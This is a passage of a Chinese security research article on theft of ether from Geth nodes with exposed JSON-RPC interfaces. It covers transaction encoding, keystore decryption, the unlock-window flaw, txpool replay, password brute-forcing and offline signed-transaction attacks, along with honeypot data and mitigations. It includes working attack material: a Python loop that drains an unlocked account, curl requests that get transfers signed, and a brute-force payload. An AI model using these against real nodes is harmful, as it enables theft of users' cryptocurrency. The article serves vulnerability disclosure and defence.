"s": "0x4591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4",
"hash": "0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc"
}
根据 RLP 编码的规则，我们对 tx 字段当作一个列表按顺序进行编码(hash除外)。由于长度必定大于55字节，所以采用最后一种编码方式。
暂且先抛开前两位，对所有项进行RLP编码，结果如下：
合并起来就是：01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
一共是 214 位，长度是 107 字节，也就意味着第二位是 `0x6b`，第一位是 `0xf7 + len(0x6b) = 0xf8`,这也是最终
`raw`
的内容：`0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4`
### 1.2 keystore 文件及其解密
`keystore` 文件用于存储以太坊私钥。为了避免私钥明文存储导致泄漏的情况发生，`keystore` 文件应运而生。让我们结合下文中的
`keystore` 文件内容来看一下私钥是被如何加密的：
keystore文件来源：https://github.com/ethereum/tests/blob/2bb0c3da3bbb15c528bcef2a7e5ac4bd73f81f87/KeyStoreTests/basic_tests.json，略有改动
{
"address": "0x008aeeda4d805471df9b2a5b0f38a0c3bcba786b",
"crypto" : {
"cipher" : "aes-128-ctr",
"cipherparams" : {
"iv" : "83dbcc02d8ccb40e466191a123791e0e"
},
"ciphertext" : "d172bf743a674da9cdad04534d56926ef8358534d458fffccd4e6ad2fbde479c",
"kdf" : "scrypt",
"kdfparams" : {
"dklen" : 32,
"n" : 262144,
"r" : 1,
"p" : 8,
"salt" : "ab0c7876052600dd703518d6fc3fe8984592145b591fc8fb5c6d43190334ba19"
},
"mac" : "2103ac29920d71da29f15d75b4a16dbe95cfd7ff8faea1056c33131d846e3097"
},
"id" : "3198bc9c-6672-5ab3-d995-4942343ae5b6",
"version" : 3
}
在此，我将结合私钥的加密过程说明各字段的意义：
**加密步骤一：使用aes-128-ctr对以太坊账户的私钥进行加密**
本节开头已经说到，`keystore` 文件是为了避免私钥明文存储导致泄漏的情况发生而出现的，所以加密的第一步就是对以太坊账户的私钥进行加密。这里使用了
`aes-128-ctr` 方式进行加密。设置 `解密密钥` 和 `初始化向量iv` 就可以对以太坊账户的私钥进行加密，得到加密后的密文。
`keystore` 文件中的`cipher`、`cipherparams`、`ciphertext`参数与该加密步骤有关：
* `cipher`: 表示对以太坊账户私钥加密的方式，这里使用的是 `aes-128-ctr`
* `cipherparams` 中的 `iv`: 表示使用 `aes` 加密使用的初始化向量 `iv`
* `ciphertext`: 表示经过加密后得到的密文
**加密步骤二：利用kdf算法计算解密密钥**
经过加密步骤一，以太坊账户的私钥已经被成功加密。我们只需要记住 `解密密钥` 就可以进行解密，但这里又出现了一个新的问题，`解密密钥`
长达32位且毫无规律可言。所以以太坊又使用了一个 `密钥导出函数(kdf)` 计算解密密钥。在这个 `keystore` 文件中，根据 `kdf`
参数可以知道使用的是 `scrypt` 算法。最终实现的效果就是：对我们设置的密码与 `kdfparams` 中的参数进行 `scrypt` 计算，就会得到
`加密步骤1` 中设置的 `解密密钥`.
`keystore` 文件中的 `kdf`、`kdfparams` 参数与该加密步骤有关：
* `kdf`: 表示使用的 `密钥导出函数` 的具体算法
* `kdfparams`: 使用密钥导出函数需要的参数
**加密步骤三：验证用户密码的正确性**
假设用户输入了正确的密码，只需要通过步骤一二进行解密就可以得到正确的私钥。但我们不能保证用户每次输入的密码都是正确的。所以引入了验算的操作。验算的操作十分简单，取步骤二解密出的密钥的第十七到三十二位和
`ciphertext` 进行拼接，计算出该字符串的 `sha3_256` 的值。如果和 `mac` 的内容相同，则说明密码正确。
`keystore` 文件中的 `mac` 参数与该步骤有关：
* `mac`: 用于验证用户输入密码的正确性。
综上所述，要从 `keystore` 文件中解密出私钥，所需的步骤是：
1. 通过 `kdf` 算法生成解密私钥
2. 对解密私钥进行验算，如果与 `mac` 值相同，则说明用户输入的密码正确。
3. 利用解密私钥解密`ciphertext`，获得以太坊账户的私钥
流程图如下：
如果有读者想通过编程实现从 `keystore` 文件中恢复出私钥，可以参考[How do I get the raw private key from
my Mist keystore
file?[15]](https://ethereum.stackexchange.com/questions/3720/how-do-i-get-the-raw-private-key-from-my-mist-keystore-file)中的最后一个回答。
其中有以下几点注意事项：
1. 需要的环境是 Python 3.6+ OpenSSL 1.1+
2. 该回答在 `Decrypting with the derived key` 中未交代 `key` 参数的来历，实际上 `key = dec_key[:16]`
### 1.3 以太坊交易的流程
根据源码以及网上已有的资料，笔者总结以太坊的交易流程如下：
1. 用户发起转账请求。
2. 以太坊对转账信息进行签名
3. 校验签名后的信息并将信息加入交易缓存池(txpool)
4. 从交易缓存池中提取交易信息进行广播
对于本文来说，步骤2：以太坊对转账信息进行签名对于理解 `3.4节 利用离线漏洞进行攻击` 十分重要。笔者也将会着重分析该步骤的具体实现。
从上文中我们可以知道，私钥已经被加密在 `keystore`
文件中，所以在步骤2进行签名操作之前，需要将私钥解密出来。在以太坊的操作中有专门的接口用于解锁账户： `personal.unlockAccount`
在解锁对应的账户后，我们将可以进行转账操作。在用私钥进行签名前，存在一些初始化操作：
* 寻找 from 参数对应地址的钱包
* 判断必须传入的参数是否正确
* 将传入的参数和原本的设置参数打包成 Transaction 结构体
这里可以注意一点：`Transaction` 结构体中是不存在 `from` 字段的。这里不添加 `from` 字段和后面的签名算法有着密切的关系。
使用私钥对交易信息进行签名主要分为两步：
1. 对构造的列表进行 RLP 编码，然后通过 sha3_256 计算出编码后字符串的 `hash` 值。
2. 使用私钥对 `hash` 进行签名，得到一串 65 字节长的结果，从中分别取出 `r`、`s`、`v`
根据椭圆加密算法的特点，我们可以根据 `r`、`s`、`v` 和 `hash` 算出对应的公钥。
由于以太坊的地址是公钥去除第一个比特后经过 `sha3_256` 加密的后40位，所以在交易信息中不包含 `from`
的情况下，我们依旧可以知道这笔交易来自于哪个地址。这也是前文说到 `Transaction` 结构体中不存在 `from` 的原因。
在签名完成后，将会被添加进交易缓存池(txpool)，在这个操作中，`from`
将会被还原出来，并进行一定的校验操作。同时也考虑到交易缓存池的各种极端情况，例如：在交易缓存池已满的情况下，会将金额最低的交易从缓存池中移除。
最终，交易缓存池中存储的交易会进行广播，网络中各节点收到该交易后都会将该交易存入交易缓存池。当某节点挖到新的区块时，将会从交易缓存池中按照
`gasPrice` 高低排序交易并打包进区块。
## 0x02 黑暗中的盗币方式：偷渡时代
### 2.1 攻击流程复现
攻击复现环境位于 `ropsten` 测试网络。
被攻击者IP: 10.0.0.2 ，启动客户端命令为：`geth --testnet --rpc --rpcapi eth --rpcaddr
0.0.0.0 console` 账户地址为：`0x6c047d734ee0c0a11d04e12adf5cce4b31da3921`,剩余余额为 `5
ether`
攻击者IP: 10.0.0.3 , 账户地址为 `0xda0b72478ed8abd676c603364f3105233068bdad`
注：若读者要在公链、测试网络实践该部分内容，建议先阅读 `3.2` 节的内容，了解该部分可能存在的隐藏问题。
攻击者步骤如下：
1. 攻击者通过端口扫描等方式发现被攻击者开放了 `JSON-RPC` 端口后，调用 `eth_getBlockByNumber` `eth_accounts` 接口查询当前节点最新的区块高度以及该节点上已有的账户。
2. 攻击者调用 `eth_getBalance` 接口查询当前节点上所有账户的余额。
3. 攻击者对存在余额的账户持续发起转账请求。
一段时间后，被攻击者需要进行交易：
按照之前的知识点，用户需要先解锁账户然后才能转账。当我们使用 `personal.unlockAccount`
和密码解锁账户后，就可以在终端看到恶意攻击者已经成功发起交易。
读者可以通过该[链接](https://ropsten.etherscan.io/tx/0x4ad68aafc59f18a11c0ea6e25588d296d52f04edd969d5674a82dfd4093634f6)看到恶意攻击者的交易信息。
攻击的流程图如下所示：
### 2.2 攻击成功的关键点解析
看完 2.1 节 `偷渡漏洞` 攻击流程，你可能会有这样的疑问：
1. 攻击者为什么可以转账成功？
2. 如例子中所示，该地址只有 5 ether，一次被转走了 4.79 ether，如果我们解锁账户后在被攻击前发起转账，转走 1 ether，是否攻击者就不会攻击成功？
下文将详细分析这两个问题并给出答案。
#### 2.2.1 攻击者可以通过 rpc 接口转账的原因
首先，分析一下关键的 `unlockAccount` 函数:
func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {
const max = uint64(time.Duration(math.MaxInt64) / time.Second)
var d time.Duration
if duration == nil {
d = 300 * time.Second
} else if *duration > max {
return false, errors.New("unlock duration too large")
} else {
d = time.Duration(*duration) * time.Second
}
err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)
return err == nil, err
}
在判断传入的解锁时间是否为空、是否大于最大值后，调用 `TimedUnlock()` 进行解锁账户的操作，而 `TimedUnlock()` 的代码如下：
func (ks *KeyStore) TimedUnlock(a accounts.Account, passphrase string, timeout time.Duration) error {
a, key, err := ks.getDecryptedKey(a, passphrase)
if err != nil {
return err
}
ks.mu.Lock()
defer ks.mu.Unlock()
u, found := ks.unlocked[a.Address]
if found {
if u.abort == nil {
// The address was unlocked indefinitely, so unlocking
// it with a timeout would be confusing.
zeroKey(key.PrivateKey)
return nil
}
// Terminate the expire goroutine and replace it below.
close(u.abort)
}
if timeout > 0 {
u = &unlocked{Key: key, abort: make(chan struct{})}
go ks.expire(a.Address, u, timeout)
} else {
u = &unlocked{Key: key}
}
ks.unlocked[a.Address] = u
return nil
}
首先通过 `getDecryptedKey()` 从 `keystore` 文件夹下的文件中解密出私钥（具体的解密过程可以参考 1.2
节的内容），再判断该账户是否已经被解锁，如果没有被解锁，则将解密出的私钥存入名为 `unlocked` 的 map
中。如果设置了解锁时间，则启动一个协程进行超时处理 `go ks.expire()`.
再看向实现转账的函数的实现过程 `SendTransaction() -> wallet.SignTx() -> w.keystore.SignTx()`：
func (s *PublicTransactionPoolAPI) SendTransaction(ctx context.Context, args SendTxArgs) (common.Hash, error) {
account := accounts.Account{Address: args.From}
wallet, err := s.b.AccountManager().Find(account)
......
tx := args.toTransaction()
......
signed, err := wallet.SignTx(account, tx, chainID)
return submitTransaction(ctx, s.b, signed)
}
func (w *keystoreWallet) SignTx(account accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
......
return w.keystore.SignTx(account, tx, chainID)
}
func (ks *KeyStore) SignTx(a accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
// Look up the key to sign with and abort if it cannot be found
ks.mu.RLock()
defer ks.mu.RUnlock()
unlockedKey, found := ks.unlocked[a.Address]
if !found {
return nil, ErrLocked
}
// Depending on the presence of the chain ID, sign with EIP155 or homestead
if chainID != nil {
return types.SignTx(tx, types.NewEIP155Signer(chainID), unlockedKey.PrivateKey)
}
return types.SignTx(tx, types.HomesteadSigner{}, unlockedKey.PrivateKey)
}
可以看到，在 `w.keystore.SignTx()` 中，直接从 `ks.unlocked` 中取出对应的私钥。这也就意味着如果执行了
`unlockAccount()` 函数、没有超时的话，从 `ipc`、`rpc`调用 `SendTransaction()` 都会成功签名相关交易。
由于默认参数启动的 `Go-Ethereum` 设计上并没有对 `ipc`、`rpc`
接口添加相应的鉴权模式，也没有在上述的代码中对请求用户的身份进行判断，最终导致攻击者可以在用户解锁账号的时候完成转账操作，偷渡漏洞利用成功。
#### 2.2.2 攻击者和用户竞争转账的问题
由于用户解锁账户的目的是为了转账，所以存在用户和攻击者几乎同时发起了交易的情况，在这种情况下，攻击者是如何保证其攻击的成功率呢？
在攻击者账号[0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464](https://etherscan.io/txs?a=0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464)的交易记录中，交易[0x8ec46c3054434fe00155bb2d7e36d59f35d0ae1527aa5da8ec6721b800ec3aa2](https://etherscan.io/tx/0x8ec46c3054434fe00155bb2d7e36d59f35d0ae1527aa5da8ec6721b800ec3aa2)能够很好地解释该问题。
相较于目前主流的 `gasPrice` 维持在 `1 Gwei`，该笔交易的 `gasPrice` 达到了惊人的 `1,149,246 Gwei`。根据
`1.3节` 中介绍的以太坊交易流程可知：
1. 在交易签名完成后，交易就会被存入交易缓存池(txpool)，交易会被进行校验。但是由于此时新的交易还没有打包进区块，所以用户和攻击者发起的交易都会存入交易缓存池并广播出去。
2. 当某节点挖到新的区块时，会将交易从交易缓存池中按照 `gasPrice` 高低进行排序取出并打包。`gasPrice` 高的将会优先被打包进区块。由于攻击者的交易的 `gasPrice` 足够高，所以会被优先被打包进区块，而用户的交易将会由于余额不足导致失败。这是以太坊保证矿工利益最大化所设计的策略，也为攻击者攻击快速成功提供了便利。
也正是由于较高的 `gasPrice`,使得该攻击者在与其它攻击者的竞争中（有兴趣的可以看看上图红框下方两笔 `dropped Txns`）得到这笔
`巨款`。
### 2.3 蜜罐捕获数据
**该部分数据截止 2018/03/21**
在 `偷渡漏洞` 被曝光后，知道创宇404团队在已有的蜜罐数据中寻找到部分攻击的痕迹。
下图是 `2017/10/01` 到 `2018/03/21` 间蜜罐监控到的相关攻击情况：
被攻击端口主要是 `8545端口`，`8546`、`10332`、`8555`、`18082`、`8585`端口等也有少量扫描痕迹。
攻击来源IP主要集中在 `46.166.148.120/196` 和 `216.158.238.178/186/226` 上：
`46.166.148.120/196` 攻击者使用的探测 `payload` 主要是:
{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":309900}
`216.158.238.178/186/226` 攻击者使用的探测 `payload` 主要是:
{"id":0,"jsonrpc":"2.0","method":"eth_accounts"}
## 0x03 后偷渡时代的盗币方式
>
> 在偷渡漏洞被曝光后，攻击者和防御者都有所行动。根据我们蜜罐系统捕获的数据，在后偷渡时代，攻击的形式趋于多样化，利用的以太坊特性越来越多，攻击方式趋于完善。部分攻击甚至可以绕过针对偷渡漏洞的防御方式，所以在说这些攻击方式前，让我们从偷渡漏洞的防御修复方式开篇。
### 3.1 偷渡漏洞的已知的防范、修复方式
在参考链接 [10](https://github.com/ethereum/go-ethereum/issues/15953)、[19](https://paper.seebug.org/547/)、[20](https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg) 中，关于偷渡漏洞的防范、修复方式有：
* 使用 `personal.sendTransaction` 功能进行转账，而不是使用 `personal.unlockAccount` 和 `eth.sendTransaction` 进行转账。
* 更改默认的 `RPC API` 端口、更改 `RPC API` 监听地址为内网、配置 `iptables` 限制对 `RPC API` 端口的访问、账户信息（keystore）不存放在节点上、转账使用 `web3` 的 `sendTransaction` 和 `sendRawTransaction` 发送私钥签名过的 `transaction`、私钥物理隔离（如冷钱包、手工抄写）或者高强度加密存储并保障密钥的安全
* 关闭对外暴露的RPC端口，如果必须暴露在互联网，使用鉴权[链接地址](https://tokenmarket.net/blog/protecting-ethereum-json-rpc-api-with-password/)、借助防火墙等网络防护软件，封堵黑客攻击源IP、检查RPC日志、web接口日志、等待以太坊更新最新代码，使用修复了该漏洞的节点程序
但是实际的情况却是 `关闭对公网暴露的 RPC 接口` 、`使用 personal.sendTransaction()进行转账` 或
`节点上不存放账户信息(keystore)` 后，依然可能会被盗币。根据上文，模拟出如下两种情景：
**情景一** ：对于曾经被盗币，修复方案仅为：关闭对公网暴露的 `RPC`
接口，关闭后继续使用节点中相关账户或移除了账户信息(keystore)的节点，可能会受到 `Geth 交易缓存池的重放攻击` 和 `离线漏洞` 的攻击。
**情景二** ：对于暂时无法关闭对公网暴露的 `RPC` 接口，却使用 `personal.sendTransaction()`
安全转账的节点，可能会受到 `爆破账号密码` 的攻击。
我们也将会在 `3.2节 - 3.5节` 详细的说明这三种漏洞的攻击流程。
### 3.2 交易缓存池的重放攻击
> 对于曾经被盗币，修复方案仅为：关闭对公网暴露的 `RPC` 接口，关闭后继续使用节点中相关账户的节点，可能会受到该攻击
#### 3.2.1 发现经历
细心的读者也许会发现，在 `2.1节` 中，为了实现攻击者不停的发送转账请求的功能，笔者使用了 `while True` 循环，并且在 `geth`
终端中看到了多条成功签名的交易
`hash`。由于交易缓存池拥有一定的校验机制，所以除了第一笔交易[0x4ad68aafc59f18a11c0ea6e25588d296d52f04edd969d5674a82dfd4093634f6](https://ropsten.etherscan.io/tx/0x4ad68aafc59f18a11c0ea6e25588d296d52f04edd969d5674a82dfd4093634f6)外，剩下的交易应该因为账户余额不足而被移出交易缓存池。
但是在测试网络中却出现了截然不同的情况，在我们关闭本地的 `geth` 客户端后，应该被移出交易缓存池的交易在余额足够的情况下会再次出现并交易成功：
（为了避免该现象的出现，在 `2.1节` 中，可以在成功转账之后利用 `break` 终止相关的循环）
这个交易奇怪的地方在于：在账户余额不足的情况下，查找不到任何 `Pendding Transactions`：
当账户余额足够支付时，被移出交易缓存池的交易会重新出现，并且是 `Pendding` 状态。
在部分 `pendding` 的交易完成后，剩余的交易将会继续消失。
这也就意味着，如果攻击者能够在利用 `偷渡漏洞` 的过程中，在交易被打包进区块，账号状态发生改变前发送大量的交易信息，第一条交易会被立即实行，剩余的交易会在
`受害人账号余额` 大于 `转账金额+gas消耗的金额` 的时候继续交易，而且这个交易信息在大多数情况下不会被查到。
对于这个问题进行分析研究后，我们认为可能的原因是：`以太坊在同步交易缓存池的过程中可能因为网络波动、分布式的特点等原因，导致部分交易多次进入交易缓存池`。这也导致
`部分应该被移出交易缓存池的交易` 多次重复进入交易缓存池。
具体的攻击流程如下：
#### 3.2.2 本地复现过程
> 关于 3.2.1 节中出现的现象，笔者进行了多方面的猜测。最终在低版本的 geth
> 中模拟复现了该问题。但由于现实环境的复杂性和不可控性，并不能确定该模拟过程就是造成该现象的最终原因，故该本地复现流程仅供参考。
攻击复现环境位于私链中，私链挖矿难度设置为 `0x400000`，保证在挖出区块之前拥有足够的时间检查各节点的交易缓存池。`geth`的版本为
`1.5.0`。
被攻击者的节点A：通过 `geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable
--datadir data0 --rpc --rpcaddr 0.0.0.0 console` 启动。
矿机节点B，负责挖矿： 通过 `geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable
--datadir data0 --port 30304 --rpc --rpcport 8546 console` 启动并在终端输入
`miner.start(1)`，使用单线程进行挖矿。
存在问题的节点C：通过 `geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable
--datadir data0 --port 30305 --rpc --rpcport 8547 console` 启动。
各节点启动后通过 `admin.nodeInfo` 和 `admin.addPeer()` 相互添加节点。
1.攻击者扫描到被攻击节点A开放了rpc端口，使用如下代码开始攻击：
import time
from web3 import Web3,HTTPProvider
web3 = Web3(HTTPProvider("http://172.16.4.128:8545/"))
web3.eth.getBalance(web3.eth.accounts[0])
while True:
try:
for i in range(3):
web3.eth.sendTransaction({
"from":web3.eth.accounts[0],
"to":web3.eth.accounts[1],
"value": 1900000000000000000000000,
"gas": 21000,
"gasPrice": 10000000000000})
break
except:
time.sleep(1)
pass
2.节点A的用户由于转账的需求，使用 `personal.unlockAccount()`
解锁账户，导致偷渡漏洞发生。由于一共进行了三次转账请求并成功广播，所以A、B、C交易缓存池中均存在这三笔交易。
3.由于网络波动等原因，此时节点 C 与其它节点失去连接。在这里用 `admin.removePeer()` 模拟节点 C 掉线。节点 B
继续挖矿，完成相应的交易。后两笔交易会因为余额不足从交易缓存池中移除，最终节点 A ，B 的交易缓存池中将不会有任何交易。
4.上述步骤 1-3 即是前文说到的 `偷渡漏洞`，被攻击者A发现其节点被攻击，迅速修改了节点A的启动命令，去除了 `--rpc --rpcaddr
0.0.0.0`，避免 `RPC` 端口暴露在公网之中。之后继续使用该账户进行了多次转账。例如，使用其它账号给节点A上的账号转账，使的节点A上的账号余额为
`1.980065000882e+24`
5.节点 C 再次连接进网络，会将其交易池中的三个交易再次广播，发送到各节点。这就造成已经移除交易缓存池的交易再次回到交易缓存池中。
6.由于此时节点A的账户余额足够，第二个交易将会被打包进区块，节点A中的余额再次被盗。
注： 在实际的场景中，不一定会出现节点 C
失去连接的情况，但由于存在大量分布式节点的原因，交易被其它节点重新发送的情况也是可能出现的。这也可以解释为什么在前文说到：
`账户余额足够时，会出现大量应该被移除的 pending 交易，在部分交易完成后，pending
交易消失的的情况`。当账户余额足够时，重新广播交易的节点会将之前所有的交易再次广播出去，在交易完成后，剩余 pending
交易会因为余额不足再次从交易缓存池中被移除。
注2: 除了本节说到的现象外，亦不排除攻击者设置了恶意的以太坊节点，接收所有的交易信息并将部分交易持续广播。但由于该猜想无法验证，故仅作为猜测思路提供。
### 3.3 unlockAccount接口的爆破攻击
> 对于暂时无法关闭对公网暴露的 `RPC` 接口的节点，在不使用 `personal.unlockAccount()` 的情况下，仍然存在被盗币的可能。
#### 3.3.1 漏洞复现
被攻击节点启动参数为： `geth --testnet --rpc --rpcaddr 0.0.0.0 --rpcapi eth,personal
console`
攻击者的攻击步骤为：
1. 与 `偷渡漏洞` 攻击 `1-3` 步类似，攻击者探测到目标开放了 `RPC` 端口 -> 获取当前节点的区块高度、节点上的账户列表 以及 各账户的余额。根据蜜罐捕获的数据，部分攻击还会通过 `personal_listWallets` 接口进行查询，寻找当前节点上已经 `unlocked` 的账户。
2. 调用 `personal_unlockAccount` 接口尝试解密用户账户。假如用户使用了弱口令，攻击者将会成功解锁相应账户。
3. 攻击者可以将解锁账户中的余额全部转给自己。
攻击流程如下图所示：
#### 3.3.2 升级的爆破方式
根据偷渡漏洞的原理可以知道该攻击方式有一个弊端：如果有两个攻击者同时攻击一个节点，当一个攻击者爆破成功，那么这两个攻击者都将可以取走节点中的余额。
根据 `2.3`
节中的分析可以知道，谁付出了更多的手续费，谁的交易将会被先打包。这也陷入了一个恶性循环，盗币者需要将他们的利益更多地分给打包的矿工才能偷到对应的钱。也正是因为这个原因，蜜罐捕获到的爆破转账请求从最初的
`personal_unlockAccount` 接口逐渐变成了 `personal_sendTransaction` 接口。
`personal_sendTransaction` 接口是 `Geth` 官方在 `2018/01`
新增了一个解决偷渡漏洞的RPC接口。使用该接口转账，解密出的私钥将会存放在内存中，所以不会引起 `偷渡漏洞`
相关的问题。攻击者与时俱进的攻击方式不免让我们惊叹。
### 3.4 自动签名交易的离线攻击
> 对于曾经被盗币的节点，可能会被离线漏洞所攻击。这取决于被盗币时攻击者生成了多个交易签名。
#### 3.4.1 攻击流程复现
由于该攻击涉及到的 `eth_signTransaction` 接口在 `pyweb3` 中不存在，故攻击流程复现使用 `curl` 命令与 `JSON-RPC` 交互
攻击者IP为：10.0.0.3，账户地址为：`0xd4f0ad3896f78e133f7841c3a6de11be0427ed89`，`geth`
的启动命令为： `geth --testnet --rpc --rpcaddr 0.0.0.0 --rpcapi eth,net,personal`
被攻击者IP为： 10.0.0.4，`geth` 版本为 `1.8.11` （当前最新版本为 `1.8.12`），账户地址为
`0x9e92e615a925fd77522c84b15ea0e8d2720d3234`
1.攻击者扫描到被攻击者开放了 `8545` 端口后，可以通过多个接口获取被攻击者信息
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x9e92e615a925fd77522c84b15ea0e8d2720d3234","latest"],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":null,"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
curl -XPOST --data '{"jsonrpc":"2.0","method":"net_version","params":null,"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
账户里余额为0，是因为笔者没有及时同步区块。实际余额是 `0.98 ether`
2.通过 `eth_getTransactionCount` 接口获取节点账户和盗币账户之间的转账次数，用于计算 `nonce`。等待用户通过
`personal.unlockAccount()` 解锁。在用户解锁账户的情况下，通过 `eth_signTransaction`
接口持续发送多笔签名转账请求。例如：签名的转账金额是 `2 ether`，发送的数据包如下：
curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_signTransaction","params":[{"from":"0x9e92e615a925fd77522c84b15ea0e8d2720d3234","to":"0xd4f0ad3896f78e133f7841c3a6de11be0427ed89","value": "0x1bc16d674ec80000", "gas": "0x30d40", "gasPrice": "0x2dc6c0","nonce":"0x1"}],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545
注： 该接口在官方文档中没有被介绍，但在新版本的geth中的确存在
攻击者会在账户解锁期间按照 `nonce` 递增的顺序构造多笔转账的签名。
3.至此，攻击者的攻击已经完成了一半。无论被攻击者是否关闭 `RPC` 接口，攻击者都已经拥有了转移走用户账户里 `2 ether`
的能力。攻击者只需监控用户账户中的余额是否超过 `2 ether` 即可。如图所示，在转入 `1.2 ether` 后，用户的账户余额已经达到 `2
ether`
攻击者在自己的节点对已经签名的交易进行广播：
eth.sendRawTransaction("0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4")
`2 ether` 被成功盗走。
相关[交易记录](https://ropsten.etherscan.io/tx/0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc)可以在测试网络上查询到。
攻击流程图示如下：
#### 3.4.2 攻击成功的关键点解析
按照惯例，先提出问题：
1. 为什么签名的交易可以在别的地方广播？
2. `Geth` 官方提供的接口 `eth_sign` 是否可以签名交易？
##### 3.4.2.1 签名的有效性问题
从原理上说，离线漏洞的攻击方式亦是以太坊离线签名的一种应用。
为了保护私钥的安全性，以太坊拥有离线签名这一机制。用户可以在不联网的电脑上生成私钥，通过该私钥签名交易，将签名后的交易在联网的主机上广播出去，就可以成功实现交易并有效地保证私钥的安全性。
在 1.3
节的图中，详细的说明了以太坊实现交易签名的步骤。在各参数正确的情况下，以太坊会将交易的相关参数：`nonce`、`gasPrice`、`gas`、`to`、`value`
等值进行 `RLP` 编码，然后通过 `sha3_256` 算出其对应的 `hash` 值，然后通过私钥对 `hash` 值进行签名，最终得到
`s`、`r`、`v`。所以交易的相关参数有：
"tx": {
"nonce": "0x1",
"gasPrice": "0x2dc6c0",
"gas": "0x30d40",
"to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89",
"value": "0x1bc16d674ec80000",
"input": "0x",
"v": "0x1b",
"r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663",
"s": "0x4591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4",
"hash": "0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc"
}
由于 `hash` 可以根据其它值算出来，所以对除 `hash` 外的所有值进行 `RLP` 编码，即可得到签名后的交易内容。
在以太坊的其它节点接受到该交易后，会通过 `RLP` 解码得到对应的值并算出 `hash` 的值。由于椭圆曲线数字签名算法可以在知道 `hash` 和
`s`、`r`、`v`的情况下得到公钥的值、公钥经过 `sha3_256`
加密，后四十位就是账户地址，所以只有在所有参数没有被篡改的情况下，才能还原出公钥，计算出账户地址。因此确认该交易是从这个地址签名的。
根据上述的签名流程，也可以看出，在对应的字段中，缺少了签名时间这一字段，这也许会在区块链落地的过程中带来一定的阻碍。
##### 3.4.2.2 交易签名流程 与 eth_sign签名流程对比
根据官网的描述，`eth_sign` 的实现是 `sign(keccak256("\x19Ethereum Signed Message:\n" +
len(message) + message)))`
这与 `3.4.2.1` 节中交易签名流程有着天壤之别， **所以`eth_sign` 接口并不能实现对交易的签名！**
注：我们的蜜罐未抓取到离线漏洞相关攻击流量，上述攻击细节是知道创宇404区块链安全团队研究后实现的攻击路径，可能和现实中黑客的攻击流程有一定的出入。
### 3.5 蜜罐捕获攻击JSON‐RPC相关数据分析
> 在偷渡漏洞曝光后，知道创宇404团队有针对性的开发并部署了相关蜜罐。 该部分数据统计截止 `2018/07/14`
#### 3.5.1 探测的数据包
对蜜罐捕获的攻击流量进行统计，多个 `JSON-RPC` 接口被探测或利用：
其中 `eth_blockNumber`、`eth_accounts`、`net_version`、`personal_listWallets`
等接口具有很好的前期探测功能，`net_version` 可以判断是否是主链，`personal_listWallets` 则可以查看所有账户的解锁情况。
`personal_unlockAccount`、`personal_sendTransaction`、`eth_sendTransaction`
等接口支持解锁账户或直接进行转账。
可以说，相比于第一阶段的攻击，`后偷渡时代` 针对 `JSON-RPC` 的攻击正呈现多元化的特点。
#### 3.5.2 爆破账号密码
蜜罐在 `2018/05/24` 第一次检测到通过 `unlockAccount` 接口爆破账户密码的行为。截止 `2018/07/14` 蜜罐一共捕获到
`809` 个密码在爆破中使用，我们将会在最后的附录部分给出详情。
攻击者主要使用 `personal_unlockAccount` 接口进行爆破，爆破的 payload 主要是：
{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["0x96B5aB24dA10c8c38dac32B305caD76A99fb4A36","katie123",600],"id":50}
在所有的爆破密码中有一个比较特殊：`ppppGoogle`。该密码在 `personal_unlockAccount` 和
`personal_sendTransaction` 接口均有被多次爆破的痕迹。是否和[《Microsoft Azure
以太坊节点自动化部署方案漏洞分析》](https://paper.seebug.org/638/)案例一样，属于某厂商以太坊节点部署方案中的默认密码，仍有待考证。
#### 3.5.3 转账的地址
蜜罐捕获到部分新增的盗币地址有：
#### 3.5.4 攻击来源IP
### 3.6 其它的威胁点
正如本文标题所说，区块链技术为金融行业带来了丰厚的机遇，但也招来了众多独行的大盗。本节将会简单介绍在研究偷渡漏洞过程中遇到的其它威胁点。
#### 3.6.1 parity_exportAccount 接口导出账户信息
